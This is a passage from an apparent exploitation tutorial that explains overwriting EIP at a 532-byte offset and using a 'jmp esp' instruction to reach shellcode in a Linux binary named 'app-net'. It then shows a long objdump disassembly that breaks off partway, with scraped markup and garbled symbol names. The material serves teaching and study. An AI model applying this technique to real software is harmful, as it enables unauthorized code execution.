pI explained this in much more detail in part a href="/x86-32-linux/reverse-engineering/2014/07/01/basic-binary-auditing/"4/a but just before a function returns, the stack looks like this:/p
pimg src="/assets/images/x86-32-linux/stack2.jpg" width="300"/p
pThe strongRET ADDR/strong is what we are overwriting to take control of EIP. What happens next is the strongRET ADDR/strong gets strongpopped/strong off of the stack into the EIP register and the stack then looks like this:/p
pimg src="/assets/images/x86-32-linux/stack1.jpg" width="300"/p
pThis means that the value of the ESP register will always point to the memory address on the stack right after we overwrite EIP, at 536 bytes into our payload (532 + 4 for EIP)./p
pSo if we write our shellcode after we overwrite EIP then we know that ESP is pointing to it./p
pAn instruction that is fairly common among all normal sized applications is codejmp esp/code. This instruction tells EIP to point to the address that ESP is pointing to./p
pUsing this instruction we can execute our shellcode but first we have to find it in the application's a href="https://en.wikipedia.org/wiki/Code_segment" target="_blank"text segment/a because we know it will never change address if it is in this section./p
h2Finding JMP ESP/h2
pFirst let's look at the disassembly using codeobjdump -d ./app-net -M intel/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal" 10/span/span
span class="code-line"span class="normal" 11/span/span
span class="code-line"span class="normal" 12/span/span
span class="code-line"span class="normal" 13/span/span
span class="code-line"span class="normal" 14/span/span
span class="code-line"span class="normal" 15/span/span
span class="code-line"span class="normal" 16/span/span
span class="code-line"span class="normal" 17/span/span
span class="code-line"span class="normal" 18/span/span
span class="code-line"span class="normal" 19/span/span
span class="code-line"span class="normal" 20/span/span
span class="code-line"span class="normal" 21/span/span
span class="code-line"span class="normal" 22/span/span
span class="code-line"span class="normal" 23/span/span
span class="code-line"span class="normal" 24/span/span
span class="code-line"span class="normal" 25/span/span
span class="code-line"span class="normal" 26/span/span
span class="code-line"span class="normal" 27/span/span
span class="code-line"span class="normal" 28/span/span
span class="code-line"span class="normal" 29/span/span
span class="code-line"span class="normal" 30/span/span
span class="code-line"span class="normal" 31/span/span
span class="code-line"span class="normal" 32/span/span
span class="code-line"span class="normal" 33/span/span
span class="code-line"span class="normal" 34/span/span
span class="code-line"span class="normal" 35/span/span
span class="code-line"span class="normal" 36/span/span
span class="code-line"span class="normal" 37/span/span
span class="code-line"span class="normal" 38/span/span
span class="code-line"span class="normal" 39/span/span
span class="code-line"span class="normal" 40/span/span
span class="code-line"span class="normal" 41/span/span
span class="code-line"span class="normal" 42/span/span
span class="code-line"span class="normal" 43/span/span
span class="code-line"span class="normal" 44/span/span
span class="code-line"span class="normal" 45/span/span
span class="code-line"span class="normal" 46/span/span
span class="code-line"span class="normal" 47/span/span
span class="code-line"span class="normal" 48/span/span
span class="code-line"span class="normal" 49/span/span
span class="code-line"span class="normal" 50/span/span
span class="code-line"span class="normal" 51/span/span
span class="code-line"span class="normal" 52/span/span
span class="code-line"span class="normal" 53/span/span
span class="code-line"span class="normal" 54/span/span
span class="code-line"span class="normal" 55/span/span
span class="code-line"span class="normal" 56/span/span
span class="code-line"span class="normal" 57/span/span
span class="code-line"span class="normal" 58/span/span
span class="code-line"span class="normal" 59/span/span
span class="code-line"span class="normal" 60/span/span
span class="code-line"span class="normal" 61/span/span
span class="code-line"span class="normal" 62/span/span
span class="code-line"span class="normal" 63/span/span
span class="code-line"span class="normal" 64/span/span
span class="code-line"span class="normal" 65/span/span
span class="code-line"span class="normal" 66/span/span
span class="code-line"span class="normal" 67/span/span
span class="code-line"span class="normal" 68/span/span
span class="code-line"span class="normal" 69/span/span
span class="code-line"span class="normal" 70/span/span
span class="code-line"span class="normal" 71/span/span
span class="code-line"span class="normal" 72/span/span
span class="code-line"span class="normal" 73/span/span
span class="code-line"span class="normal" 74/span/span
span class="code-line"span class="normal" 75/span/span
span class="code-line"span class="normal" 76/span/span
span class="code-line"span class="normal" 77/span/span
span class="code-line"span class="normal" 78/span/span
span class="code-line"span class="normal" 79/span/span
span class="code-line"span class="normal" 80/span/span
span class="code-line"span class="normal" 81/span/span
span class="code-line"span class="normal" 82/span/span
span class="code-line"span class="normal" 83/span/span
span class="code-line"span class="normal" 84/span/span
span class="code-line"span class="normal" 85/span/span
span class="code-line"span class="normal" 86/span/span
span class="code-line"span class="normal" 87/span/span
span class="code-line"span class="normal" 88/span/span
span class="code-line"span class="normal" 89/span/span
span class="code-line"span class="normal" 90/span/span
span class="code-line"span class="normal" 91/span/span
span class="code-line"span class="normal" 92/span/span
span class="code-line"span class="normal" 93/span/span
span class="code-line"span class="normal" 94/span/span
span class="code-line"span class="normal" 95/span/span
span class="code-line"span class="normal" 96/span/span
span class="code-line"span class="normal" 97/span/span
span class="code-line"span class="normal" 98/span/span
span class="code-line"span class="normal" 99/span/span
span class="code-line"span class="normal"100/span/span
span class="code-line"span class="normal"101/span/span
span class="code-line"span class="normal"102/span/span
span class="code-line"span class="normal"103/span/span
span class="code-line"span class="normal"104/span/span
span class="code-line"span class="normal"105/span/span
span class="code-line"span class="normal"106/span/span
span class="code-line"span class="normal"107/span/span
span class="code-line"span class="normal"108/span/span
span class="code-line"span class="normal"109/span/span
span class="code-line"span class="normal"110/span/span
span class="code-line"span class="normal"111/span/span
span class="code-line"span class="normal"112/span/span
span class="code-line"span class="normal"113/span/span
span class="code-line"span class="normal"114/span/span
span class="code-line"span class="normal"115/span/span
span class="code-line"span class="normal"116/span/span
span class="code-line"span class="normal"117/span/span
span class="code-line"span class="normal"118/span/span
span class="code-line"span class="normal"119/span/span
span class="code-line"span class="normal"120/span/span
span class="code-line"span class="normal"121/span/span
span class="code-line"span class="normal"122/span/span
span class="code-line"span class="normal"123/span/span
span class="code-line"span class="normal"124/span/span
span class="code-line"span class="normal"125/span/span
span class="code-line"span class="normal"126/span/span
span class="code-line"span class="normal"127/span/span
span class="code-line"span class="normal"128/span/span
span class="code-line"span class="normal"129/span/span
span class="code-line"span class="normal"130/span/span
span class="code-line"span class="normal"131/span/span
span class="code-line"span class="normal"132/span/span
span class="code-line"span class="normal"133/span/span
span class="code-line"span class="normal"134/span/span
span class="code-line"span class="normal"135/span/span
span class="code-line"span class="normal"136/span/span
span class="code-line"span class="normal"137/span/span
span class="code-line"span class="normal"138/span/span
span class="code-line"span class="normal"139/span/span
span class="code-line"span class="normal"140/span/span
span class="code-line"span class="normal"141/span/span
span class="code-line"span class="normal"142/span/span
span class="code-line"span class="normal"143/span/span
span class="code-line"span class="normal"144/span/span
span class="code-line"span class="normal"145/span/span
span class="code-line"span class="normal"146/span/span
span class="code-line"span class="normal"147/span/span
span class="code-line"span class="normal"148/span/span
span class="code-line"span class="normal"149/span/span
span class="code-line"span class="normal"150/span/span
span class="code-line"span class="normal"151/span/span
span class="code-line"span class="normal"152/span/span
span class="code-line"span class="normal"153/span/span
span class="code-line"span class="normal"154/span/span
span class="code-line"span class="normal"155/span/span
span class="code-line"span class="normal"156/span/span
span class="code-line"span class="normal"157/span/span
span class="code-line"span class="normal"158/span/span
span class="code-line"span class="normal"159/span/span
span class="code-line"span class="normal"160/span/span
span class="code-line"span class="normal"161/span/span
span class="code-line"span class="normal"162/span/span
span class="code-line"span class="normal"163/span/span
span class="code-line"span class="normal"164/span/span
span class="code-line"span class="normal"165/span/span
span class="code-line"span class="normal"166/span/span
span class="code-line"span class="normal"167/span/span
span class="code-line"span class="normal"168/span/span
span class="code-line"span class="normal"169/span/span
span class="code-line"span class="normal"170/span/span
span class="code-line"span class="normal"171/span/span
span class="code-line"span class="normal"172/span/span
span class="code-line"span class="normal"173/span/span
span class="code-line"span class="normal"174/span/span
span class="code-line"span class="normal"175/span/span
span class="code-line"span class="normal"176/span/span
span class="code-line"span class="normal"177/span/span
span class="code-line"span class="normal"178/span/span
span class="code-line"span class="normal"179/span/span
span class="code-line"span class="normal"180/span/span
span class="code-line"span class="normal"181/span/span
span class="code-line"span class="normal"182/span/span
span class="code-line"span class="normal"183/span/span
span class="code-line"span class="normal"184/span/span
span class="code-line"span class="normal"185/span/span
span class="code-line"span class="normal"186/span/span
span class="code-line"span class="normal"187/span/span
span class="code-line"span class="normal"188/span/span
span class="code-line"span class="normal"189/span/span
span class="code-line"span class="normal"190/span/span
span class="code-line"span class="normal"191/span/span
span class="code-line"span class="normal"192/span/span
span class="code-line"span class="normal"193/span/span
span class="code-line"span class="normal"194/span/span
span class="code-line"span class="normal"195/span/span
span class="code-line"span class="normal"196/span/span
span class="code-line"span class="normal"197/span/span
span class="code-line"span class="normal"198/span/span
span class="code-line"span class="normal"199/span/span
span class="code-line"span class="normal"200/span/span
span class="code-line"span class="normal"201/span/span
span class="code-line"span class="normal"202/span/span
span class="code-line"span class="normal"203/span/span
span class="code-line"span class="normal"204/span/span
span class="code-line"span class="normal"205/span/span
span class="code-line"span class="normal"206/span/span
span class="code-line"span class="normal"207/span/span
span class="code-line"span class="normal"208/span/span
span class="code-line"span class="normal"209/span/span
span class="code-line"span class="normal"210/span/span
span class="code-line"span class="normal"211/span/span
span class="code-line"span class="normal"212/span/span
span class="code-line"span class="normal"213/span/span
span class="code-line"span class="normal"214/span/span
span class="code-line"span class="normal"215/span/span
span class="code-line"span class="normal"216/span/span
span class="code-line"span class="normal"217/span/span
span class="code-line"span class="normal"218/span/span
span class="code-line"span class="normal"219/span/span
span class="code-line"span class="normal"220/span/span
span class="code-line"span class="normal"221/span/span
span class="code-line"span class="normal"222/span/span
span class="code-line"span class="normal"223/span/span
span class="code-line"span class="normal"224/span/span
span class="code-line"span class="normal"225/span/span
span class="code-line"span class="normal"226/span/span
span class="code-line"span class="normal"227/span/span
span class="code-line"span class="normal"228/span/span
span class="code-line"span class="normal"229/span/span
span class="code-line"span class="normal"230/span/span
span class="code-line"span class="normal"231/span/span
span class="code-line"span class="normal"232/span/span
span class="code-line"span class="normal"233/span/span
span class="code-line"span class="normal"234/span/span
span class="code-line"span class="normal"235/span/span
span class="code-line"span class="normal"236/span/span
span class="code-line"span class="normal"237/span/span
span class="code-line"span class="normal"238/span/span
span class="code-line"span class="normal"239/span/span
span class="code-line"span class="normal"240/span/span
span class="code-line"span class="normal"241/span/span
span class="code-line"span class="normal"242/span/span
span class="code-line"span class="normal"243/span/span
span class="code-line"span class="normal"244/span/span
span class="code-line"span class="normal"245/span/span
span class="code-line"span class="normal"246/span/span
span class="code-line"span class="normal"247/span/span
span class="code-line"span class="normal"248/span/span
span class="code-line"span class="normal"249/span/span
span class="code-line"span class="normal"250/span/span
span class="code-line"span class="normal"251/span/span
span class="code-line"span class="normal"252/span/span
span class="code-line"span class="normal"253/span/span
span class="code-line"span class="normal"254/span/span
span class="code-line"span class="normal"255/span/span
span class="code-line"span class="normal"256/span/span
span class="code-line"span class="normal"257/span/span
span class="code-line"span class="normal"258/span/span
span class="code-line"span class="normal"259/span/span
span class="code-line"span class="normal"260/span/span
span class="code-line"span class="normal"261/span/span
span class="code-line"span class="normal"262/span/span
span class="code-line"span class="normal"263/span/span
span class="code-line"span class="normal"264/span/span
span class="code-line"span class="normal"265/span/span
span class="code-line"span class="normal"266/span/span
span class="code-line"span class="normal"267/span/span
span class="code-line"span class="normal"268/span/span
span class="code-line"span class="normal"269/span/span
span class="code-line"span class="normal"270/span/span
span class="code-line"span class="normal"271/span/span
span class="code-line"span class="normal"272/span/span
span class="code-line"span class="normal"273/span/span
span class="code-line"span class="normal"274/span/span
span class="code-line"span class="normal"275/span/span
span class="code-line"span class="normal"276/span/span
span class="code-line"span class="normal"277/span/span
span class="code-line"span class="normal"278/span/span
span class="code-line"span class="normal"279/span/span
span class="code-line"span class="normal"280/span/span
span class="code-line"span class="normal"281/span/span
span class="code-line"span class="normal"282/span/span
span class="code-line"span class="normal"283/span/span
span class="code-line"span class="normal"284/span/span
span class="code-line"span class="normal"285/span/span
span class="code-line"span class="normal"286/span/span
span class="code-line"span class="normal"287/span/span
span class="code-line"span class="normal"288/span/span
span class="code-line"span class="normal"289/span/span
span class="code-line"span class="normal"290/span/span
span class="code-line"span class="normal"291/span/span
span class="code-line"span class="normal"292/span/span
span class="code-line"span class="normal"293/span/span
span class="code-line"span class="normal"294/span/span
span class="code-line"span class="normal"295/span/span
span class="code-line"span class="normal"296/span/span
span class="code-line"span class="normal"297/span/span
span class="code-line"span class="normal"298/span/span
span class="code-line"span class="normal"299/span/span
span class="code-line"span class="normal"300/span/span
span class="code-line"span class="normal"301/span/span
span class="code-line"span class="normal"302/span/span
span class="code-line"span class="normal"303/span/span
span class="code-line"span class="normal"304/span/span
span class="code-line"span class="normal"305/span/span
span class="code-line"span class="normal"306/span/span
span class="code-line"span class="normal"307/span/span
span class="code-line"span class="normal"308/span/span
span class="code-line"span class="normal"309/span/span
span class="code-line"span class="normal"310/span/span
span class="code-line"span class="normal"311/span/span
span class="code-line"span class="normal"312/span/span
span class="code-line"span class="normal"313/span/span
span class="code-line"span class="normal"314/span/span
span class="code-line"span class="normal"315/span/span
span class="code-line"span class="normal"316/span/span
span class="code-line"span class="normal"317/span/span
span class="code-line"span class="normal"318/span/span
span class="code-line"span class="normal"319/span/span
span class="code-line"span class="normal"320/span/span
span class="code-line"span class="normal"321/span/span
span class="code-line"span class="normal"322/span/span
span class="code-line"span class="normal"323/span/span
span class="code-line"span class="normal"324/span/span
span class="code-line"span class="normal"325/span/span
span class="code-line"span class="normal"326/span/span
span class="code-line"span class="normal"327/span/span
span class="code-line"span class="normal"328/span/span
span class="code-line"span class="normal"329/span/span
span class="code-line"span class="normal"330/span/span
span class="code-line"span class="normal"331/span/span
span class="code-line"span class="normal"332/span/span
span class="code-line"span class="normal"333/span/span
span class="code-line"span class="normal"334/span/span
span class="code-line"span class="normal"335/span/span
span class="code-line"span class="normal"336/span/span
span class="code-line"span class="normal"337/span/span
span class="code-line"span class="normal"338/span/span
span class="code-line"span class="normal"339/span/span
span class="code-line"span class="normal"340/span/span
span class="code-line"span class="normal"341/span/span
span class="code-line"span class="normal"342/span/span
span class="code-line"span class="normal"343/span/span
span class="code-line"span class="normal"344/span/span
span class="code-line"span class="normal"345/span/span
span class="code-line"span class="normal"346/span/span
span class="code-line"span class="normal"347/span/span
span class="code-line"span class="normal"348/span/span
span class="code-line"span class="normal"349/span/span
span class="code-line"span class="normal"350/span/span
span class="code-line"span class="normal"351/span/span
span class="code-line"span class="normal"352/span/span
span class="code-line"span class="normal"353/span/span
span class="code-line"span class="normal"354/span/span
span class="code-line"span class="normal"355/span/span
span class="code-line"span class="normal"356/span/span
span class="code-line"span class="normal"357/span/span
span class="code-line"span class="normal"358/span/span
span class="code-line"span class="normal"359/span/span
span class="code-line"span class="normal"360/span/span
span class="code-line"span class="normal"361/span/span
span class="code-line"span class="normal"362/span/span
span class="code-line"span class="normal"363/span/span
span class="code-line"span class="normal"364/span/span
span class="code-line"span class="normal"365/span/span
span class="code-line"span class="normal"366/span/span
span class="code-line"span class="normal"367/span/span
span class="code-line"span class="normal"368/span/span
span class="code-line"span class="normal"369/span/span
span class="code-line"span class="normal"370/span/span
span class="code-line"span class="normal"371/span/span
span class="code-line"span class="normal"372/span/span
span class="code-line"span class="normal"373/span/span
span class="code-line"span class="normal"374/span/span
span class="code-line"span class="normal"375/span/span
span class="code-line"span class="normal"376/span/span
span class="code-line"span class="normal"377/span/span
span class="code-line"span class="normal"378/span/span
span class="code-line"span class="normal"379/span/span
span class="code-line"span class="normal"380/span/span
span class="code-line"span class="normal"381/span/span
span class="code-line"span class="normal"382/span/span
span class="code-line"span class="normal"383/span/span
span class="code-line"span class="normal"384/span/span
span class="code-line"span class="normal"385/span/span
span class="code-line"span class="normal"386/span/span
span class="code-line"span class="normal"387/span/span
span class="code-line"span class="normal"388/span/span
span class="code-line"span class="normal"389/span/span
span class="code-line"span class="normal"390/span/span
span class="code-line"span class="normal"391/span/span
span class="code-line"span class="normal"392/span/span
span class="code-line"span class="normal"393/span/span
span class="code-line"span class="normal"394/span/span
span class="code-line"span class="normal"395/span/span
span class="code-line"span class="normal"396/span/span
span class="code-line"span class="normal"397/span/span
span class="code-line"span class="normal"398/span/span
span class="code-line"span class="normal"399/span/span
span class="code-line"span class="normal"400/span/span
span class="code-line"span class="normal"401/span/span
span class="code-line"span class="normal"402/span/span
span class="code-line"span class="normal"403/span/span
span class="code-line"span class="normal"404/span/span
span class="code-line"span class="normal"405/span/span
span class="code-line"span class="normal"406/span/span
span class="code-line"span class="normal"407/span/span
span class="code-line"span class="normal"408/span/span
span class="code-line"span class="normal"409/span/span
span class="code-line"span class="normal"410/span/span
span class="code-line"span class="normal"411/span/span
span class="code-line"span class="normal"412/span/span
span class="code-line"span class="normal"413/span/span
span class="code-line"span class="normal"414/span/span
span class="code-line"span class="normal"415/span/span
span class="code-line"span class="normal"416/span/span
span class="code-line"span class="normal"417/span/span
span class="code-line"span class="normal"418/span/span
span class="code-line"span class="normal"419/span/span
span class="code-line"span class="normal"420/span/span
span class="code-line"span class="normal"421/span/span
span class="code-line"span class="normal"422/span/span
span class="code-line"span class="normal"423/span/span
span class="code-line"span class="normal"424/span/span
span class="code-line"span class="normal"425/span/span
span class="code-line"span class="normal"426/span/span
span class="code-line"span class="normal"427/span/span
span class="code-line"span class="normal"428/span/span
span class="code-line"span class="normal"429/span/span
span class="code-line"span class="normal"430/span/span
span class="code-line"span class="normal"431/span/span
span class="code-line"span class="normal"432/span/span
span class="code-line"span class="normal"433/span/span
span class="code-line"span class="normal"434/span/span
span class="code-line"span class="normal"435/span/span
span class="code-line"span class="normal"436/span/span
span class="code-line"span class="normal"437/span/span
span class="code-line"span class="normal"438/span/span
span class="code-line"span class="normal"439/span/span
span class="code-line"span class="normal"440/span/span
span class="code-line"span class="normal"441/span/span
span class="code-line"span class="normal"442/span/span
span class="code-line"span class="normal"443/span/span
span class="code-line"span class="normal"444/span/span
span class="code-line"span class="normal"445/span/span
span class="code-line"span class="normal"446/span/span
span class="code-line"span class="normal"447/span/span
span class="code-line"span class="normal"448/span/span
span class="code-line"span class="normal"449/span/span
span class="code-line"span class="normal"450/span/span
span class="code-line"span class="normal"451/span/span
span class="code-line"span class="normal"452/span/span
span class="code-line"span class="normal"453/span/span
span class="code-line"span class="normal"454/span/span
span class="code-line"span class="normal"455/span/span
span class="code-line"span class="normal"456/span/span
span class="code-line"span class="normal"457/span/span
span class="code-line"span class="normal"458/span/span
span class="code-line"span class="normal"459/span/span
span class="code-line"span class="normal"460/span/span
span class="code-line"span class="normal"461/span/span
span class="code-line"span class="normal"462/span/span
span class="code-line"span class="normal"463/span/span
span class="code-line"span class="normal"464/span/span
span class="code-line"span class="normal"465/span/span
span class="code-line"span class="normal"466/span/span
span class="code-line"span class="normal"467/span/span
span class="code-line"span class="normal"468/span/span
span class="code-line"span class="normal"469/span/span
span class="code-line"span class="normal"470/span/span
span class="code-line"span class="normal"471/span/span
span class="code-line"span class="normal"472/span/span
span class="code-line"span class="normal"473/span/span
span class="code-line"span class="normal"474/span/span
span class="code-line"span class="normal"475/span/span
span class="code-line"span class="normal"476/span/span
span class="code-line"span class="normal"477/span/span
span class="code-line"span class="normal"478/span/span
span class="code-line"span class="normal"479/span/span
span class="code-line"span class="normal"480/span/span
span class="code-line"span class="normal"481/span/span
span class="code-line"span class="normal"482/span/span
span class="code-line"span class="normal"483/span/span
span class="code-line"span class="normal"484/span/span
span class="code-line"span class="normal"485/span/span
span class="code-line"span class="normal"486/span/span
span class="code-line"span class="normal"487/span/span
span class="code-line"span class="normal"488/span/span
span class="code-line"span class="normal"489/span/span
span class="code-line"span class="normal"490/span/span
span class="code-line"span class="normal"491/span/span
span class="code-line"span class="normal"492/span/span
span class="code-line"span class="normal"493/span/span
span class="code-line"span class="normal"494/span/span
span class="code-line"span class="normal"495/span/span
span class="code-line"span class="normal"496/span/span
span class="code-line"span class="normal"497/span/span
span class="code-line"span class="normal"498/span/span
span class="code-line"span class="normal"499/span/span
span class="code-line"span class="normal"500/span/span
span class="code-line"span class="normal"501/span/span
span class="code-line"span class="normal"502/span/span
span class="code-line"span class="normal"503/span/span
span class="code-line"span class="normal"504/span/span
span class="code-line"span class="normal"505/span/span
span class="code-line"span class="normal"506/span/span
span class="code-line"span class="normal"507/span/span
span class="code-line"span class="normal"508/span/span
span class="code-line"span class="normal"509/span/span
span class="code-line"span class="normal"510/span/span
span class="code-line"span class="normal"511/span/span
span class="code-line"span class="normal"512/span/span
span class="code-line"span class="normal"513/span/span
span class="code-line"span class="normal"514/span/span
span class="code-line"span class="normal"515/span/span
span class="code-line"span class="normal"516/span/span
span class="code-line"span class="normal"517/span/span
span class="code-line"span class="normal"518/span/span
span class="code-line"span class="normal"519/span/span
span class="code-line"span class="normal"520/span/span
span class="code-line"span class="normal"521/span/span
span class="code-line"span class="normal"522/span/span
span class="code-line"span class="normal"523/span/span
span class="code-line"span class="normal"524/span/span
span class="code-line"span class="normal"525/span/span
span class="code-line"span class="normal"526/span/span
span class="code-line"span class="normal"527/span/span
span class="code-line"span class="normal"528/span/span
span class="code-line"span class="normal"529/span/span
span class="code-line"span class="normal"530/span/span
span class="code-line"span class="normal"531/span/span
span class="code-line"span class="normal"532/span/span
span class="code-line"span class="normal"533/span/span
span class="code-line"span class="normal"534/span/span
span class="code-line"span class="normal"535/span/span
span class="code-line"span class="normal"536/span/span
span class="code-line"span class="normal"537/span/span
span class="code-line"span class="normal"538/span/span
span class="code-line"span class="normal"539/span/span
span class="code-line"span class="normal"540/span/span
span class="code-line"span class="normal"541/span/span
span class="code-line"span class="normal"542/span/span
span class="code-line"span class="normal"543/span/span
span class="code-line"span class="normal"544/span/span
span class="code-line"span class="normal"545/span/span
span class="code-line"span class="normal"546/span/span
span class="code-line"span class="normal"547/span/span
span class="code-line"span class="normal"548/span/span
span class="code-line"span class="normal"549/span/span
span class="code-line"span class="normal"550/span/span
span class="code-line"span class="normal"551/span/span
span class="code-line"span class="normal"552/span/span
span class="code-line"span class="normal"553/span/span
span class="code-line"span class="normal"554/span/span
span class="code-line"span class="normal"555/span/span
span class="code-line"span class="normal"556/span/span
span class="code-line"span class="normal"557/span/span
span class="code-line"span class="normal"558/span/span
span class="code-line"span class="normal"559/span/span
span class="code-line"span class="normal"560/span/span
span class="code-line"span class="normal"561/span/span
span class="code-line"span class="normal"562/span/span
span class="code-line"span class="normal"563/span/span
span class="code-line"span class="normal"564/span/span
span class="code-line"span class="normal"565/span/span
span class="code-line"span class="normal"566/span/span
span class="code-line"span class="normal"567/span/span
span class="code-line"span class="normal"568/span/span
span class="code-line"span class="normal"569/span/span
span class="code-line"span class="normal"570/span/span
span class="code-line"span class="normal"571/span/span
span class="code-line"span class="normal"572/span/span
span class="code-line"span class="normal"573/span/span
span class="code-line"span class="normal"574/span/span
span class="code-line"span class="normal"575/span/span
span class="code-line"span class="normal"576/span/span
span class="code-line"span class="normal"577/span/span
span class="code-line"span class="normal"578/span/span
span class="code-line"span class="normal"579/span/span
span class="code-line"span class="normal"580/span/span
span class="code-line"span class="normal"581/span/span
span class="code-line"span class="normal"582/span/span
span class="code-line"span class="normal"583/span/span
span class="code-line"span class="normal"584/span/span
span class="code-line"span class="normal"585/span/span
span class="code-line"span class="normal"586/span/span
span class="code-line"span class="normal"587/span/span
span class="code-line"span class="normal"588/span/span
span class="code-line"span class="normal"589/span/span
span class="code-line"span class="normal"590/span/span
span class="code-line"span class="normal"591/span/span
span class="code-line"span class="normal"592/span/span
span class="code-line"span class="normal"593/span/span
span class="code-line"span class="normal"594/span/span
span class="code-line"span class="normal"595/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nl"./app-net/spanspan class="p":/span file format span class="s"elf32-i386/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".init/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"080485e0/span span class="p"lt;/spanspan class="nf"_init/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80485e0: 55 push ebp/span/span
span class="code-line"span class="x" 80485e1: 89 e5 mov ebp,esp/span/span
span class="code-line"span class="x" 80485e3: 53 push ebx/span/span
span class="code-line"span class="x" 80485e4: 83 ec 04 sub esp,0x4/span/span
span class="code-line"span class="x" 80485e7: e8 00 00 00 00 call 80485ec lt;_init+0xcgt;/span/span
span class="code-line"span class="x" 80485ec: 5b pop ebx/span/span
span class="code-line"span class="x" 80485ed: 81 c3 14 0b 00 00 add ebx,0xb14/span/span
span class="code-line"span class="x" 80485f3: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4]/span/span
span class="code-line"span class="x" 80485f9: 85 d2 test edx,edx/span/span
span class="code-line"span class="x" 80485fb: 74 05 je 8048602 lt;_init+0x22gt;/span/span
span class="code-line"span class="x" 80485fd: e8 ae 00 00 00 call 80486b0 lt;
[email protected];/span/span
span class="code-line"span class="x" 8048602: 58 pop eax/span/span
span class="code-line"span class="x" 8048603: 5b pop ebx/span/span
span class="code-line"span class="x" 8048604: c9 leave /span/span
span class="code-line"span class="x" 8048605: c3 ret /span/span
span class="code-line"/span
span class="code-line"Disassembly of section span class="nl".plt/spanspan class="p":/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048610/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"-/spanspan class="mh"0x10/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048610: ff 35 04 91 04 08 push DWORD PTR ds:0x8049104/span/span
span class="code-line"span class="x" 8048616: ff 25 08 91 04 08 jmp DWORD PTR ds:0x8049108/span/span
span class="code-line"span class="x" 804861c: 00 00 add BYTE PTR [eax],al/span/span
span class="code-line"span class="x" .../span/span
span class="code-line"/span
span class="code-line"span class="mh"08048620/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048620: ff 25 0c 91 04 08 jmp DWORD PTR ds:0x804910c/span/span
span class="code-line"span class="x" 8048626: 68 00 00 00 00 push 0x0/span/span
span class="code-line"span class="x" 804862b: e9 e0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048630/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048630: ff 25 10 91 04 08 jmp DWORD PTR ds:0x8049110/span/span
span class="code-line"span class="x" 8048636: 68 08 00 00 00 push 0x8/span/span
span class="code-line"span class="x" 804863b: e9 d0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048640/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048640: ff 25 14 91 04 08 jmp DWORD PTR ds:0x8049114/span/span
span class="code-line"span class="x" 8048646: 68 10 00 00 00 push 0x10/span/span
span class="code-line"span class="x" 804864b: e9 c0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048650/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048650: ff 25 18 91 04 08 jmp DWORD PTR ds:0x8049118/span/span
span class="code-line"span class="x" 8048656: 68 18 00 00 00 push 0x18/span/span
span class="code-line"span class="x" 804865b: e9 b0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048660/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048660: ff 25 1c 91 04 08 jmp DWORD PTR ds:0x804911c/span/span
span class="code-line"span class="x" 8048666: 68 20 00 00 00 push 0x20/span/span
span class="code-line"span class="x" 804866b: e9 a0 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048670/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048670: ff 25 20 91 04 08 jmp DWORD PTR ds:0x8049120/span/span
span class="code-line"span class="x" 8048676: 68 28 00 00 00 push 0x28/span/span
span class="code-line"span class="x" 804867b: e9 90 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048680/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048680: ff 25 24 91 04 08 jmp DWORD PTR ds:0x8049124/span/span
span class="code-line"span class="x" 8048686: 68 30 00 00 00 push 0x30/span/span
span class="code-line"span class="x" 804868b: e9 80 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"08048690/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 8048690: ff 25 28 91 04 08 jmp DWORD PTR ds:0x8049128/span/span
span class="code-line"span class="x" 8048696: 68 38 00 00 00 push 0x38/span/span
span class="code-line"span class="x" 804869b: e9 70 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486a0/span span class="p"lt;/spanspan class="nf"
[email protected]/spanspan class="p"gt;:/span/span
span class="code-line"span class="x" 80486a0: ff 25 2c 91 04 08 jmp DWORD PTR ds:0x804912c/span/span
span class="code-line"span class="x" 80486a6: 68 40 00 00 00 push 0x40/span/span
span class="code-line"span class="x" 80486ab: e9 60 ff ff ff jmp 8048610 lt;_init+0x30gt;/span/span
span class="code-line"/span
span class="code-line"span class="mh"080486b0/span span class="p"lt;/spanspan class="nf"
